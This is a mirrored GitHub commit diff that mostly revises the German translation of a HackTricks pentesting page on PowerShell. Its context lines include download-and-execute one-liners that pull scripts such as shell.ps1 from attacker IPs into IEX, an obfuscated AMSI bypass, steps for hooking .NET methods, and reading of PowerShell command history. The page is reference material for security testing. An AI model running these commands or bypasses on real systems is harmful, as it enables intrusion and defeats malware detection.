mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/basic-powershell-for-pentesters/READM
This commit is contained in:
parent
ee20e1e918
commit
633130fe29
@ -18,7 +18,6 @@ Get-Command -Module <modulename>
|
|||||||
```
|
```
|
||||||
## Herunterladen & Ausführen
|
## Herunterladen & Ausführen
|
||||||
```powershell
|
```powershell
|
||||||
g
|
|
||||||
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
|
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
|
||||||
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
|
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
|
||||||
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
|
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
|
||||||
@ -113,13 +112,13 @@ ValueType : REG_SZ
|
|||||||
ValueLength : 4
|
ValueLength : 4
|
||||||
ValueData : 0
|
ValueData : 0
|
||||||
```
|
```
|
||||||
### AMSI-Bypass
|
### AMSI Bypass
|
||||||
|
|
||||||
**`amsi.dll`** wird in Ihren Prozess **geladen** und hat die notwendigen **Exports**, um mit jeder Anwendung zu interagieren. Und da es in den Speicherbereich eines Prozesses **geladen** ist, den Sie **steuern**, können Sie sein Verhalten durch **Überschreiben von Anweisungen im Speicher** ändern. Dadurch wird nichts erkannt.
|
**`amsi.dll`** wird in Ihren Prozess **geladen** und hat die notwendigen **Exporte**, um mit jeder Anwendung zu interagieren. Und da es in den Speicherbereich eines Prozesses **geladen** ist, den Sie **steuern**, können Sie sein Verhalten durch **Überschreiben von Anweisungen im Speicher** ändern. Dadurch wird nichts erkannt.
|
||||||
|
|
||||||
Daher besteht das Ziel der AMSI-Bypässe darin, die **Anweisungen dieser DLL im Speicher zu überschreiben, um die Erkennung nutzlos zu machen**.
|
Daher ist das Ziel der AMSI-Bypässe, die Sie verwenden werden, **die Anweisungen dieser DLL im Speicher zu überschreiben, um die Erkennung nutzlos zu machen**.
|
||||||
|
|
||||||
**AMSI-Bypass-Generator** Webseite: [**https://amsi.fail/**](https://amsi.fail/)
|
**AMSI Bypass Generator** Webseite: [**https://amsi.fail/**](https://amsi.fail/)
|
||||||
```powershell
|
```powershell
|
||||||
# A Method
|
# A Method
|
||||||
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
|
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
|
||||||
@ -170,14 +169,14 @@ Check [**diesen Beitrag für detaillierte Informationen und den Code**](https://
|
|||||||
|
|
||||||
Diese neue Technik basiert auf dem Hooking von API-Aufrufen von .NET-Methoden. Es stellt sich heraus, dass .NET-Methoden in native Maschinenanweisungen im Speicher kompiliert werden müssen, die sehr ähnlich wie native Methoden aussehen. Diese kompilierten Methoden können gehookt werden, um den Kontrollfluss eines Programms zu ändern.
|
Diese neue Technik basiert auf dem Hooking von API-Aufrufen von .NET-Methoden. Es stellt sich heraus, dass .NET-Methoden in native Maschinenanweisungen im Speicher kompiliert werden müssen, die sehr ähnlich wie native Methoden aussehen. Diese kompilierten Methoden können gehookt werden, um den Kontrollfluss eines Programms zu ändern.
|
||||||
|
|
||||||
Die Schritte zum Hooking von API-Aufrufen von .NET-Methoden sind:
|
Die Schritte zum Durchführen des API-Call-Hookings von .NET-Methoden sind:
|
||||||
|
|
||||||
1. Identifizieren Sie die Zielmethode, die gehookt werden soll
|
1. Identifizieren Sie die Zielmethode, die gehookt werden soll
|
||||||
2. Definieren Sie eine Methode mit demselben Funktionsprototyp wie das Ziel
|
2. Definieren Sie eine Methode mit demselben Funktionsprototyp wie das Ziel
|
||||||
3. Verwenden Sie Reflection, um die Methoden zu finden
|
3. Verwenden Sie Reflection, um die Methoden zu finden
|
||||||
4. Stellen Sie sicher, dass jede Methode kompiliert wurde
|
4. Stellen Sie sicher, dass jede Methode kompiliert wurde
|
||||||
5. Finden Sie den Speicherort jeder Methode im Speicher
|
5. Finden Sie den Speicherort jeder Methode im Speicher
|
||||||
6. Überschreiben Sie die Zielmethode mit Anweisungen, die auf unsere bösartige Methode zeigen
|
6. Überschreiben Sie die Zielmethode mit Anweisungen, die auf unsere bösartige Methode verweisen
|
||||||
|
|
||||||
### AMSI Bypass 3 - SeDebug Privilege
|
### AMSI Bypass 3 - SeDebug Privilege
|
||||||
|
|
||||||
@ -192,7 +191,7 @@ Die Schritte zum Hooking von API-Aufrufen von .NET-Methoden sind:
|
|||||||
```powershell
|
```powershell
|
||||||
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
|
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
|
||||||
```
|
```
|
||||||
## Finde neuere Dateien
|
## Neuere Dateien finden
|
||||||
|
|
||||||
Optionen: `CreationTime`, `CreationTimeUtc`, `LastAccessTime`, `LastAccessTimeUtc`, `LastWriteTime`, `LastWriteTimeUtc`
|
Optionen: `CreationTime`, `CreationTimeUtc`, `LastAccessTime`, `LastAccessTimeUtc`, `LastWriteTime`, `LastWriteTimeUtc`
|
||||||
```powershell
|
```powershell
|
||||||
@ -202,7 +201,7 @@ Optionen: `CreationTime`, `CreationTimeUtc`, `LastAccessTime`, `LastAccessTimeUt
|
|||||||
# LastWriteTime:
|
# LastWriteTime:
|
||||||
(gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName
|
(gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName
|
||||||
```
|
```
|
||||||
## Berechtigungen erhalten
|
## Berechtigungen abrufen
|
||||||
```powershell
|
```powershell
|
||||||
Get-Acl -Path "C:\Program Files\Vuln Services" | fl
|
Get-Acl -Path "C:\Program Files\Vuln Services" | fl
|
||||||
```
|
```
|
||||||
@ -227,9 +226,7 @@ $shell = New-Object -com shell.application
|
|||||||
$rb = $shell.Namespace(10)
|
$rb = $shell.Namespace(10)
|
||||||
$rb.Items()
|
$rb.Items()
|
||||||
```
|
```
|
||||||
[https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/](https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/)
|
## Domain Recon
|
||||||
|
|
||||||
## Domänen-Recon
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
powerview.md
|
powerview.md
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user